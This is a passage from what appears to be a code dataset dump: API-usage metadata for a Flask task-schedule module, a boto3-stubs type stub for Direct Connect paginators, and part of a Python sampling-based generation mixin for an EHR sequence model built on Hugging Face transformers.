"name"}, {"api_name": "app.utils.check_cron", "line_number": 129, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 129, "usage_type": "name"}, {"api_name": "app.utils.time2date", "line_number": 134, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 134, "usage_type": "name"}, {"api_name": "time.time", "line_number": 134, "usage_type": "call"}, {"api_name": "bson.ObjectId", "line_number": 136, "usage_type": "call"}, {"api_name": "app.utils.conn_db", "line_number": 137, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 137, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 140, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 140, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.PolicyIDNotFound", "line_number": 140, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 140, "usage_type": "name"}, {"api_name": "app.utils.conn_db", "line_number": 144, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 144, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 148, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 148, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Success", "line_number": 148, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 148, "usage_type": "name"}, {"api_name": "app.utils.auth", "line_number": 52, "usage_type": "name"}, {"api_name": "flask_restx.fields.List", "line_number": 152, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 152, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 152, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule.find_task_schedule", "line_number": 171, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule", "line_number": 171, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 173, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 173, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskScheduleNotFound", "line_number": 173, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 173, "usage_type": "name"}, {"api_name": "app.helpers.task_schedule.remove_task_schedule", "line_number": 176, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule", "line_number": 176, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 178, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 178, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Success", "line_number": 178, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 178, "usage_type": "name"}, {"api_name": "app.utils.auth", "line_number": 159, "usage_type": "name"}, {"api_name": "flask_restx.fields.List", "line_number": 182, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 182, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 182, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule.change_task_schedule_status", "line_number": 201, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule", "line_number": 201, "usage_type": "name"}, {"api_name": "app.modules.TaskScheduleStatus.STOP", "line_number": 201, "usage_type": "attribute"}, {"api_name": "app.modules.TaskScheduleStatus", "line_number": 201, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 203, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 203, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskScheduleNotFound", "line_number": 203, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 203, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 206, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 206, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Error", "line_number": 206, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 206, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 208, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 208, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Success", "line_number": 208, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 208, "usage_type": "name"}, {"api_name": "app.utils.auth", "line_number": 189, "usage_type": "name"}, {"api_name": "flask_restx.fields.List", "line_number": 212, "usage_type": "call"}, {"api_name": "flask_restx.fields", "line_number": 212, "usage_type": "name"}, {"api_name": "flask_restx.fields.String", "line_number": 212, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule.change_task_schedule_status", "line_number": 231, "usage_type": "call"}, {"api_name": "app.helpers.task_schedule", "line_number": 231, "usage_type": "name"}, {"api_name": "app.modules.TaskScheduleStatus.SCHEDULED", "line_number": 231, "usage_type": "attribute"}, {"api_name": "app.modules.TaskScheduleStatus", "line_number": 231, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 233, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 233, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.TaskScheduleNotFound", "line_number": 233, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 233, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 236, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 236, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Error", "line_number": 236, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 236, "usage_type": "name"}, {"api_name": "app.utils.build_ret", "line_number": 238, "usage_type": "call"}, {"api_name": "app.utils", "line_number": 238, "usage_type": "name"}, {"api_name": "app.modules.ErrorMsg.Success", "line_number": 238, "usage_type": "attribute"}, {"api_name": "app.modules.ErrorMsg", "line_number": 238, "usage_type": "name"}, {"api_name": "app.utils.auth", "line_number": 219, "usage_type": "name"}]}
{"seq_id": "10328257179", "text": "\"\"\"\nType annotations for directconnect service client paginators.\n\n[Open documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html)\n\nUsage::\n\n    ```python\n    import boto3\n\n    from mypy_boto3_directconnect import DirectConnectClient\n    from mypy_boto3_directconnect.paginator import (\n        DescribeDirectConnectGatewayAssociationsPaginator,\n        DescribeDirectConnectGatewayAttachmentsPaginator,\n        DescribeDirectConnectGatewaysPaginator,\n    )\n\n    client: DirectConnectClient = boto3.client(\"directconnect\")\n\n    describe_direct_connect_gateway_associations_paginator: DescribeDirectConnectGatewayAssociationsPaginator = client.get_paginator(\"describe_direct_connect_gateway_associations\")\n    describe_direct_connect_gateway_attachments_paginator: DescribeDirectConnectGatewayAttachmentsPaginator = client.get_paginator(\"describe_direct_connect_gateway_attachments\")\n    describe_direct_connect_gateways_paginator: DescribeDirectConnectGatewaysPaginator = client.get_paginator(\"describe_direct_connect_gateways\")\n    ```\n\"\"\"\nfrom typing import Iterator\n\nfrom botocore.paginate import Paginator as Boto3Paginator\n\nfrom .type_defs import (\n    DescribeDirectConnectGatewayAssociationsResultTypeDef,\n    DescribeDirectConnectGatewayAttachmentsResultTypeDef,\n    DescribeDirectConnectGatewaysResultTypeDef,\n    PaginatorConfigTypeDef,\n)\n\n__all__ = (\n    \"DescribeDirectConnectGatewayAssociationsPaginator\",\n    \"DescribeDirectConnectGatewayAttachmentsPaginator\",\n    \"DescribeDirectConnectGatewaysPaginator\",\n)\n\nclass DescribeDirectConnectGatewayAssociationsPaginator(Boto3Paginator):\n    \"\"\"\n    [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/directconnect.html#DirectConnect.Paginator.DescribeDirectConnectGatewayAssociations)\n    [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html#describedirectconnectgatewayassociationspaginator)\n    \"\"\"\n\n    def paginate(\n        self,\n        *,\n        associationId: str = None,\n        associatedGatewayId: str = None,\n        directConnectGatewayId: str = None,\n        virtualGatewayId: str = None,\n        PaginationConfig: PaginatorConfigTypeDef = None\n    ) -> Iterator[DescribeDirectConnectGatewayAssociationsResultTypeDef]:\n        \"\"\"\n        [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/directconnect.html#DirectConnect.Paginator.DescribeDirectConnectGatewayAssociations.paginate)\n        [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html#describedirectconnectgatewayassociationspaginator)\n        \"\"\"\n\nclass DescribeDirectConnectGatewayAttachmentsPaginator(Boto3Paginator):\n    \"\"\"\n    [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/directconnect.html#DirectConnect.Paginator.DescribeDirectConnectGatewayAttachments)\n    [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html#describedirectconnectgatewayattachmentspaginator)\n    \"\"\"\n\n    def paginate(\n        self,\n        *,\n        directConnectGatewayId: str = None,\n        virtualInterfaceId: str = None,\n        PaginationConfig: PaginatorConfigTypeDef = None\n    ) -> Iterator[DescribeDirectConnectGatewayAttachmentsResultTypeDef]:\n        \"\"\"\n        [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/directconnect.html#DirectConnect.Paginator.DescribeDirectConnectGatewayAttachments.paginate)\n        [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html#describedirectconnectgatewayattachmentspaginator)\n        \"\"\"\n\nclass DescribeDirectConnectGatewaysPaginator(Boto3Paginator):\n    \"\"\"\n    [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/directconnect.html#DirectConnect.Paginator.DescribeDirectConnectGateways)\n    [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html#describedirectconnectgatewayspaginator)\n    \"\"\"\n\n    def paginate(\n        self, *, directConnectGatewayId: str = None, PaginationConfig: PaginatorConfigTypeDef = None\n    ) -> Iterator[DescribeDirectConnectGatewaysResultTypeDef]:\n        \"\"\"\n        [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/directconnect.html#DirectConnect.Paginator.DescribeDirectConnectGateways.paginate)\n        [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_directconnect/paginators.html#describedirectconnectgatewayspaginator)\n        \"\"\"\n", "repo_name": "chrishollinworth/vscode-boto3-intellisense", "sub_path": "typings/mypy_boto3_directconnect/paginator.pyi", "file_name": "paginator.pyi", "file_ext": "pyi", "file_size_in_byte": 4846, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "botocore.paginate.Paginator", "line_number": 42, "usage_type": "name"}, {"api_name": "type_defs.PaginatorConfigTypeDef", "line_number": 55, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 56, "usage_type": "name"}, {"api_name": "type_defs.DescribeDirectConnectGatewayAssociationsResultTypeDef", "line_number": 56, "usage_type": "name"}, {"api_name": "botocore.paginate.Paginator", "line_number": 62, "usage_type": "name"}, {"api_name": "type_defs.PaginatorConfigTypeDef", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 74, "usage_type": "name"}, {"api_name": "type_defs.DescribeDirectConnectGatewayAttachmentsResultTypeDef", "line_number": 74, "usage_type": "name"}, {"api_name": "botocore.paginate.Paginator", "line_number": 80, "usage_type": "name"}, {"api_name": "type_defs.PaginatorConfigTypeDef", "line_number": 87, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 88, "usage_type": "name"}, {"api_name": "type_defs.DescribeDirectConnectGatewaysResultTypeDef", "line_number": 88, "usage_type": "name"}]}
{"seq_id": "39097836704", "text": "from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple, Union\nimport warnings\nimport pdb\nimport os\n\nimport numpy as np\nimport warnings\n\n# check transformers version\nfrom transformers import __version__\nif __version__ <= '4.19.0':\n    warnings.warn(\"The version of `transformers` is too low, which may cause errors in generation. Please try to run `pip install transformers --upgrade` to upgrade transformers.\")\n    from transformers.generation_utils import GenerationMixin\n    from transformers.generation_utils import (\n    SampleOutput, SampleEncoderDecoderOutput,SampleDecoderOnlyOutput\n    ,)\n    from transformers.file_utils import ModelOutput\n    from transformers.utils import logging\n    from transformers.generation_stopping_criteria import (\n        MaxLengthCriteria,\n        MaxTimeCriteria,\n        StoppingCriteriaList,\n        validate_stopping_criteria,\n    )\n    from transformers.generation_logits_process import (\n        EncoderNoRepeatNGramLogitsProcessor,\n        ExponentialDecayLengthPenalty,\n        ForcedBOSTokenLogitsProcessor,\n        ForcedEOSTokenLogitsProcessor,\n        HammingDiversityLogitsProcessor,\n        InfNanRemoveLogitsProcessor,\n        LogitNormalization,\n        LogitsProcessorList,\n        MinLengthLogitsProcessor,\n        NoBadWordsLogitsProcessor,\n        NoRepeatNGramLogitsProcessor,\n        PrefixConstrainedLogitsProcessor,\n        RepetitionPenaltyLogitsProcessor,\n    )\nelse:\n    from transformers.generation.utils import GenerationMixin\n    from transformers.generation.utils import (\n    SampleOutput, SampleEncoderDecoderOutput,SampleDecoderOnlyOutput\n    ,)\n    from transformers.file_utils import ModelOutput\n    from transformers.utils import logging\n    from transformers.generation.stopping_criteria import (\n        MaxLengthCriteria,\n        MaxTimeCriteria,\n        StoppingCriteriaList,\n        validate_stopping_criteria,\n    )\n    from transformers.generation.logits_process import (\n        EncoderNoRepeatNGramLogitsProcessor,\n        ExponentialDecayLengthPenalty,\n        ForcedBOSTokenLogitsProcessor,\n        ForcedEOSTokenLogitsProcessor,\n        HammingDiversityLogitsProcessor,\n        InfNanRemoveLogitsProcessor,\n        LogitNormalization,\n        LogitsProcessorList,\n        MinLengthLogitsProcessor,\n        NoBadWordsLogitsProcessor,\n        NoRepeatNGramLogitsProcessor,\n        PrefixConstrainedLogitsProcessor,\n        RepetitionPenaltyLogitsProcessor,\n    )\n\nimport torch\nfrom torch import nn\nimport torch.distributed as dist\nlogger = logging.get_logger(__name__)\n\nclass EHRGenerationMixin(GenerationMixin):\n    \"\"\"\n    A class containing all of the functions supporting generation, to be used as a mixin in\n    :class:`~transformers.PreTrainedModel`.\n    \"\"\"\n    def _get_stopping_criteria(self, max_length: Optional[int], max_time: Optional[float]) -> StoppingCriteriaList:\n        stopping_criteria = StoppingCriteriaList()\n        if max_length is not None:\n            stopping_criteria.append(MaxLengthCriteria(max_length=max_length))\n        if max_time is not None:\n            stopping_criteria.append(MaxTimeCriteria(max_time=max_time))\n        return stopping_criteria\n\n    @torch.no_grad()\n    def generate(\n        self,\n        input_ids: Optional[torch.LongTensor] = None,\n        max_length: Optional[int] = None,\n        min_length: Optional[int] = None,\n        do_sample: Optional[bool] = None,\n        early_stopping: Optional[bool] = None,\n        num_beams: Optional[int] = None,\n        temperature: Optional[float] = None,\n        top_k: Optional[int] = None,\n        top_p: Optional[float] = None,\n        repetition_penalty: Optional[float] = None,\n        bad_words_ids: Optional[Iterable[int]] = None,\n        bos_token_id: Optional[int] = None,\n        pad_token_id: Optional[int] = None,\n        eos_token_id: Optional[int] = None,\n        length_penalty: Optional[float] = None,\n        no_repeat_ngram_size: Optional[int] = None,\n        encoder_no_repeat_ngram_size: Optional[int] = None,\n        num_return_sequences: Optional[int] = None,\n        max_time: Optional[float] = None,\n        max_new_tokens: Optional[int] = None,\n        decoder_start_token_id: Optional[int] = None,\n        use_cache: Optional[bool] = None,\n        num_beam_groups: Optional[int] = None,\n        diversity_penalty: Optional[float] = None,\n        prefix_allowed_tokens_fn: Optional[Callable[[int, torch.Tensor], List[int]]] = None,\n        logits_processor: Optional[LogitsProcessorList] = LogitsProcessorList(),\n        renormalize_logits: Optional[bool] = None,\n        output_attentions: Optional[bool] = None,\n        output_hidden_states: Optional[bool] = None,\n        output_scores: Optional[bool] = None,\n        return_dict_in_generate: Optional[bool] = None,\n        forced_bos_token_id: Optional[int] = None,\n        forced_eos_token_id: Optional[int] = None,\n        remove_invalid_values: Optional[bool] = None,\n        synced_gpus: Optional[bool] = None,\n        exponential_decay_length_penalty: Optional[Tuple[Union[int, float]]] = None,\n        code_type: Optional[str] = 'diag',\n        **model_kwargs,\n    ) -> Union[SampleOutput, torch.LongTensor]:\n        r'''an adaptation of generate function implemented in transformers.generation_utils.\n        '''\n        num_beams = num_beams if num_beams is not None else self.config.num_beams\n        num_beam_groups = num_beam_groups if num_beam_groups is not None else self.config.num_beam_groups\n        do_sample = do_sample if do_sample is not None else self.config.do_sample\n        num_return_sequences = (\n            num_return_sequences if num_return_sequences is not None else self.config.num_return_sequences\n        )\n\n        pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id\n        bos_token_id = bos_token_id if bos_token_id is not None else self.config.bos_token_id\n        eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id\n\n        output_scores = output_scores if output_scores is not None else self.config.output_scores\n        output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n        output_hidden_states = (\n            output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states\n        )\n        return_dict_in_generate = (\n            return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate\n        )\n\n        model_kwargs[\"output_attentions\"] = output_attentions\n        model_kwargs[\"output_hidden_states\"] = output_hidden_states\n\n        if input_ids is None and \"inputs_embeds\" not in model_kwargs:\n            # init `input_ids` with random idxs if not given\n            # this is because eos and bos token id is not in the vocabulary for each code\n            input_ids = self._prepare_input_ids_for_generation(bos_token_id, model_kwargs.get(\"encoder_outputs\"))\n\n        if model_kwargs.get(\"attention_mask\", None) is None:\n            # init `attention_mask` depending on `pad_token_id`\n            model_kwargs[\"attention_mask\"] = self._prepare_attention_mask_for_generation(\n                input_ids, pad_token_id, eos_token_id\n            )\n\n        # special case if pad_token_id is not defined\n        if pad_token_id is None and eos_token_id is not None:\n            logger.warning(f\"Setting `pad_token_id` to `eos_token_id`:{eos_token_id} for open-end generation.\")\n            pad_token_id = eos_token_id\n\n        # Storing encoder_input_ids for logits_processor that could use them\n        encoder_input_ids = input_ids if self.config.is_encoder_decoder else None\n\n        if self.config.is_encoder_decoder: # True            \n            # add encoder_outputs to model_kwargs\n            model_kwargs = self._prepare_encoder_decoder_kwargs_for_generation(input_ids, model_kwargs)\n\n            # set input_ids as decoder_input_ids\n            if \"decoder_input_ids\" in model_kwargs:\n                input_ids = model_kwargs.pop(\"decoder_input_ids\")\n            else:\n                input_ids = self._prepare_decoder_input_ids_for_generation(\n                    batch_size=1, decoder_start_token_id=decoder_start_token_id, bos_token_id=bos_token_id, model_kwargs=model_kwargs,\n                )\n\n            if \"encoder_outputs\" not in model_kwargs or not isinstance(model_kwargs[\"encoder_outputs\"], ModelOutput):\n                raise ValueError(\"Make sure that `model_kwargs` include `encoder_outputs` of type `ModelOutput`.\")\n\n        # if `max_new_tokens` is passed, but not `max_length` -> set `max_length = max_new_tokens`\n        input_ids_seq_length = input_ids.shape[-1]\n        if max_length is None and max_new_tokens is not None:\n            max_length = (\n                max_new_tokens + input_ids_seq_length\n                if input_ids is not None\n                else max_length + model_kwargs[\"inputs_embeds\"].shape[1]\n            )\n        elif max_length is not None and max_new_tokens is not None:\n            # Both are set, this is odd, raise a warning\n            warnings.warn(\n                \"Both `max_length` and `max_new_tokens` have been set \"\n                f\"but they serve the same purpose. `max_length` {max_length} \"\n                f\"will take priority over `max_new_tokens` {max_new_tokens}.\",\n                UserWarning,\n            )\n\n        # default to config if still None\n        max_length = max_length if max_length is not None else self.config.max_length\n\n        if input_ids.shape[-1] >= max_length:\n            input_ids_string = \"decoder_input_ids\" if self.config.is_encoder_decoder else \"input_ids\"\n            logger.warning(\n                f\"Input length of {input_ids_string} is {input_ids.shape[-1]}, but ``max_length`` is set to {max_length}. \"\n                \"This can lead to unexpected behavior. You should consider increasing ``config.max_length`` or ``max_length``.\"\n            )\n\n        # determine generation mode\n        is_greedy_gen_mode = (num_beams == 1) and (num_beam_groups == 1) and do_sample is False\n        is_sample_gen_mode = (num_beams == 1) and (num_beam_groups == 1) and do_sample is True\n        is_beam_gen_mode = (num_beams > 1) and (num_beam_groups == 1) and do_sample is False\n        is_beam_sample_gen_mode = (num_beams > 1) and (num_beam_groups == 1) and do_sample is True\n        is_group_beam_gen_mode = (num_beams > 1) and (num_beam_groups > 1)\n        if num_beam_groups > num_beams:\n            raise ValueError(\"`num_beam_groups` has to be smaller or equal to `num_beams`\")\n        if is_group_beam_gen_mode and do_sample is True:\n            raise ValueError(\n                \"Diverse beam search cannot be used in sampling mode. Make sure that `do_sample` is set to `False`.\"\n            )\n\n        # set model_kwargs\n        model_kwargs[\"use_cache\"] = use_cache\n\n        # get distribution pre_processing samplers\n        logits_processor = self._get_logits_processor(\n            input_ids_seq_length=input_ids_seq_length,\n            repetition_penalty=repetition_penalty,\n            no_repeat_ngram_size=no_repeat_ngram_size,\n            encoder_no_repeat_ngram_size=encoder_no_repeat_ngram_size,\n            encoder_input_ids=encoder_input_ids,\n            bad_words_ids=bad_words_ids,\n            min_length=min_length,\n            max_length=max_length,\n            eos_token_id=eos_token_id,\n            forced_bos_token_id=forced_bos_token_id,\n            forced_eos_token_id=forced_eos_token_id,\n            prefix_allowed_tokens_fn=prefix_allowed_tokens_fn,\n            num_beams=num_beams,\n            num_beam_groups=num_beam_groups,\n            diversity_penalty=diversity_penalty,\n            remove_invalid_values=remove_invalid_values,\n            exponential_decay_length_penalty=exponential_decay_length_penalty,\n            logits_processor=logits_processor,\n            renormalize_logits=renormalize_logits,\n        )\n\n        stopping_criteria = self._get_stopping_criteria(max_length=max_length, max_time=max_time)\n\n        if is_sample_gen_mode:\n            # get probability distribution warper\n            logits_warper = self._get_logits_warper(\n                top_k=top_k, top_p=top_p, temperature=temperature, num_beams=num_beams\n            )\n\n            # expand input_ids with `num_return_sequences` additional sequences per batch\n            input_ids, model_kwargs = self._expand_inputs_for_generation(\n                input_ids,\n                expand_size=num_return_sequences,\n                is_encoder_decoder=self.config.is_encoder_decoder,\n                **model_kwargs,\n            )\n\n            # sample\n            return self.sample(\n                input_ids,\n                logits_processor=logits_processor,\n                logits_warper=logits_warper,\n                stopping_criteria=stopping_criteria,\n                pad_token_id=pad_token_id,\n                eos_token_id=eos_token_id,\n                output_scores=output_scores,\n                return_dict_in_generate=return_dict_in_generate,\n                synced_gpus=synced_gpus,\n                code_type=code_type,\n                **model_kwargs,\n            )\n        \n        else:\n            raise ValueError(\"PromptEHR only supports `is_sample_gen_mode`! Please set `do_sample` to `True\")\n\n\n    def sample(\n        self,\n        input_ids: torch.LongTensor,\n        logits_processor: Optional[LogitsProcessorList] = None,\n        stopping_criteria: Optional[StoppingCriteriaList] = None,\n        logits_warper: Optional[LogitsProcessorList] = None,\n        max_length: Optional[int] = None,\n        pad_token_id: Optional[int] = None,\n        eos_token_id: Optional[int] = None,\n        output_attentions: Optional[bool] = None,\n        output_hidden_states: Optional[bool] = None,\n        output_scores: Optional[bool] = None,\n        return_dict_in_generate: Optional[bool] = None,\n        synced_gpus: Optional[bool] = None,\n        code_type: Optional[str] = 'diagnosis',\n        **model_kwargs,\n    ) -> Union[SampleOutput, torch.LongTensor]:\n        r\"\"\"\n        Generates sequences for models with a language modeling head using multinomial sampling.\n\n        Parameters:\n\n            input_ids (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`):\n                The sequence used as a prompt for the generation.\n            logits_processor (:obj:`LogitsProcessorList`, `optional`):\n                An instance of :class:`~transformers.LogitsProcessorList`. List of instances of class derived from\n                :class:`~transformers.LogitsProcessor` used to modify the prediction scores of the language modeling\n                head applied at each generation step.\n            stopping_criteria (:obj:`StoppingCriteriaList`, `optional`):\n                An instance of :class:`~transformers.StoppingCriteriaList`. List of instances of class derived from\n                :class:`~transformers.StoppingCriteria` used to tell if the generation loop should stop.\n            logits_warper (:obj:`LogitsProcessorList`, `optional`):\n                An instance of :class:`~transformers.LogitsProcessorList`. List of instances of class derived from\n                :class:`~transformers.LogitsWarper` used to warp the prediction score distribution of the language\n                modeling head applied before multinomial sampling at each generation step.\n            max_length (:obj:`int`, `optional`, defaults to 20):\n                **DEPRECATED**. Use :obj:`logits_processor` or :obj:`stopping_criteria` directly to cap the number of\n                generated tokens. The maximum length of the sequence to be generated.\n            pad_token_id (:obj:`int`, `optional`):\n                The id of the `padding` token.\n            eos_token_id (:obj:`int`, `optional`):\n                The id of the `end-of-sequence` token.\n            output_attentions (:obj:`bool`, `optional`, defaults to `False`):\n                Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under\n                returned tensors for more details.\n            output_hidden_states (:obj:`bool`, `optional`, defaults to `False`):\n                Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors\n                for more details.\n            output_scores (:obj:`bool`, `optional`, defaults to `False`):\n                Whether or not to return the prediction scores. See ``scores`` under returned tensors for more details.\n            return_dict_in_generate (:obj:`bool`, `optional`, defaults to `False`):\n                Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.\n            synced_gpus (:obj:`bool`, `optional`, defaults to :obj:`False`):\n                Whether to continue running the while loop until max_length (needed for ZeRO stage 3)\n            model_kwargs:\n                Additional model specific kwargs will be forwarded to the :obj:`forward` function of the model. If\n                model is an encoder-decoder model the kwargs should include :obj:`encoder_outputs`.\n\n        Return:\n            :class:`~transformers.generation_utils.SampleDecoderOnlyOutput`,\n            :class:`~transformers.generation_utils.SampleEncoderDecoderOutput` or obj:`torch.LongTensor`: A\n            :obj:`torch.LongTensor` containing the generated tokens (default behaviour) or a\n            :class:`~transformers.generation_utils.SampleDecoderOnlyOutput` if\n            ``model.config.is_encoder_decoder=False`` and ``return_dict_in_generate=True`` or a\n            :class:`~transformers.generation_utils.SampleEncoderDecoderOutput` if\n            ``model.config.is_encoder_decoder=True``.\n\n        Examples::\n\n            >>> from transformers import (\n            ...    AutoTokenizer,\n            ...    AutoModelForCausalLM,\n            ...    LogitsProcessorList,\n            ...    MinLengthLogitsProcessor,\n            ...    TopKLogitsWarper,\n            ...    TemperatureLogitsWarper,\n            ... )\n\n            >>> tokenizer = AutoTokenizer.from_pretrained(\"gpt2\")\n            >>> model = AutoModelForCausalLM.from_pretrained(\"gpt2\")\n\n            >>> # set pad_token_id to eos_token_id because GPT2 does not have a EOS token\n            >>> model.config.pad_token_id = model.config.eos_token_id\n\n            >>> input_prompt = \"Today is a beautiful day, and\"\n            >>> input_ids = tokenizer(input_prompt, return_tensors=\"pt\").input_ids\n\n            >>> # instantiate logits processors\n            >>> logits_processor = LogitsProcessorList([\n            ...     MinLengthLogitsProcessor(15, eos_token_id=model.config.eos_token_id),\n            ... ])\n            >>> # instantiate logits processors\n            >>> logits_warper = LogitsProcessorList([\n            ...     TopKLogitsWarper(50),\n            ...     TemperatureLogitsWarper(0.7),\n            ... ])\n\n            >>> outputs = model.sample(input_ids, logits_processor=logits_processor, logits_warper=logits_warper)\n\n            >>> print(\"Generated:\", tokenizer.batch_decode(outputs, skip_special_tokens=True))\n        \"\"\"\n\n        # init values\n        logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()\n        stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()\n        if max_length is not None:\n            warnings.warn(\n                \"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList(MaxLengthCriteria(max_length=max_length))` instead.\",\n                UserWarning,\n            )\n            stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)\n        logits_warper = logits_warper if logits_warper is not None else LogitsProcessorList()\n        pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id\n        eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id\n        output_scores = output_scores if output_scores is not None else self.config.output_scores\n        output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n        output_hidden_states = (\n            output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states\n        )\n        return_dict_in_generate = (\n            return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate\n        )\n\n        # init attention / hidden states / scores tuples\n        scores = () if (return_dict_in_generate and output_scores) else None\n        decoder_attentions = () if (return_dict_in_generate and output_attentions) else None\n        cross_attentions = () if (return_dict_in_generate and output_attentions) else None\n        decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None\n\n        # if model is an encoder-decoder, retrieve encoder attention weights and hidden states\n        if return_dict_in_generate and self.config.is_encoder_decoder:\n            encoder_attentions = model_kwargs[\"encoder_outputs\"].get(\"attentions\") if output_attentions else None\n            encoder_hidden_states = (\n                model_kwargs[\"encoder_outputs\"].get(\"hidden_states\") if output_hidden_states else None\n            )\n\n        # keep track of which sequences are already finished\n        unfinished_sequences = input_ids.new(input_ids.shape[0]).fill_(1)\n        cur_len = input_ids.shape[-1]\n\n        logits_ids = input_ids.clone()\n        this_peer_finished = False  # used by synced_gpus only\n        # auto-regressive generation\n        while True:\n\n            if synced_gpus:\n                # Under synced_gpus the `forward` call must continue until all gpus complete their sequence.\n                # The following logic allows an early break if all peers finished generating their sequence\n                this_peer_finished_flag = torch.tensor(0.0 if this_peer_finished else 1.0).to(input_ids.device)\n                # send 0.0 if we finished, 1.0 otherwise\n                dist.all_reduce(this_peer_finished_flag, op=dist.ReduceOp.SUM)\n                # did all peers finish? the reduced sum will be 0.0 then\n                if this_peer_finished_flag.item() == 0.0:\n                    break\n\n            # prepare model inputs\n            model_inputs = self.prepare_inputs_for_generation(input_ids, **model_kwargs)\n\n            # forward pass to get next token\n            outputs = self(\n                **model_inputs,\n                return_dict=True,\n                output_attentions=output_attentions,\n                output_hidden_states=output_hidden_states,\n                code_type=code_type,\n                )\n\n            if synced_gpus and this_peer_finished:\n                cur_len = cur_len + 1\n                continue  # don't waste resources running the code we don't need\n            \n            next_token_logits = outputs.logits[:, -1, :]\n            \n            # pre-process distribution\n            